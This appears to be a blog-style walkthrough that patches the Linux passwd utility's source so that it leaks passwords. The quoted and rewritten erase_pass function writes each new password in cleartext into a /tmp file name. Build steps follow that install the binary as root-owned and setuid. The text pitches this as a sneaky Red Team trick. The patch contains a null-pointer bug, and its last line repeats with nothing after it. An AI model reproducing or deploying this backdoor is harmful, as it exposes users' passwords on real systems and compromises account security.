3 - Modifying Passwd
Dylan, working on a project, had a bad team member who changed the passwords of the sudo account and root. Now he has to rebuild the instance. Okay, so we want to be able to log the password changes.
How can we recover the password easily?
The first thought was to hook onto system calls. Since every entry into a buffer is usually called with read(), we could hook read to trampoline to our own function that logs the buffer before returning to the regular control flow. However, that's a lot of work.
The second thought took a bit of investigating into how passwd
worked. Turns out, passwd
is not a part of coreutils
but is a separate repository altogether. This could make a for a sneaky Easter egg for Red Team Blue Team events. After all, who would think to reinstall passwd separately?
Running GDB on passwd unfortunately was quite difficult. Ubuntu ships with a stripped version of passwd, making it a bit more straightforward to pull from the source. We found the Github here.
The secret sauce is here:
if (sflg) {
/*
* root is setting the passphrase from stdin
*/
cp = agetpass_stdin ();
if (NULL == cp) {
return -1;
}
ret = STRTCPY (pass, cp);
erase_pass (cp);
if (ret == -1) {
(void) fputs (_("Password is too long.\n"), stderr);
MEMZERO(pass);
return -1;
}
} else {
warned = false;
for (i = getdef_num ("PASS_CHANGE_TRIES", 5); i > 0; i--) {
cp = agetpass (_("New password: "));
if (NULL == cp) {
MEMZERO(orig);
MEMZERO(pass);
return -1;
}
if (warned && !streq(pass, cp)) {
warned = false;
}
ret = STRTCPY (pass, cp);
erase_pass (cp);
if (ret == -1) {
(void) fputs (_("Password is too long.\n"), stderr);
MEMZERO(orig);
MEMZERO(pass);
return -1;
}
if (!amroot && !obscure(orig, pass, pw)) {
(void) puts (_("Try again."));
continue;
}
Which function should we use to store the password in clear text?
That's right, erase_pass
!
void
erase_pass(char *pass)
{
FILE *fp = NULL;
char thefilename[100] = "/tmp/a_";
if (!pass) *pass = "";
strncat(thefilename, pass, sizeof(thefilename) - strlen(thefilename) - 1);
fp = fopen(thefilename, "w");
if (fp) fclose(fp);
freezero(pass, PASS_MAX + 2);
}
Now test it out:
#!/bin/bash
./autogen.sh
export CFLAGS=-g
./configure --without-libbsd
make
cd src/
sudo chown root:root ./passwd
sudo chmod +sx ./passwd
./passwd
Now test it out: